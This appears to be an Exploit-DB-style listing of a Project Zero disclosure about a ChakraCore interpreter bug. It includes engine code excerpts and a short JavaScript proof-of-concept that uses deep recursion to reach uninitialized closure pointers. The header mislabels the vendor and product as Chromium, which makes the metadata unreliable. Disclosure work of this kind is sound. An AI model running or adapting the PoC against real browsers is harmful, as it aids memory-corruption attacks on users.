Stack Overflow in Js::InterpreterStackFrame::INTERPRETERLOOPNAME()

vendor:

Chromium

by:

Project Zero

8,8

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: Chromium

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2018

Stack Overflow in Js::InterpreterStackFrame::INTERPRETERLOOPNAME()

This vulnerability is a stack overflow in Js::InterpreterStackFrame::INTERPRETERLOOPNAME() which is a snippet of the method that interprets a javascript function's bytecode. If it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code. The stackScopeSlots contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all local variables are properly initialized before they are used.

Source

Exploit-DB raw data:

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1338

Here's a snippet of the method that interprets a javascript function's bytecode.

Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
    PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)

    if (!this->closureInitDone)
    {
        Assert(this->m_reader.GetCurrentOffset() == 0);
        this->InitializeClosures();    <<------- (b)
    }

    ...
    ... interprets the bytecode

...

At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized.
But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.

void StackScriptFunction::BoxState::Box()
{
...

    if (callerFunctionBody->DoStackScopeSlots())
    {
        Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure();
        if (stackScopeSlots)
        {
            Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount());
            interpreterFrame->SetLocalClosure((Var)boxedScopeSlots);
        }
    ...
...

"stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.

It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.

PoC:
*/

function trigger() {
    let a, b, c;

    function g() {
        trigger();

        a, b, c;
    }

    g();
}

trigger();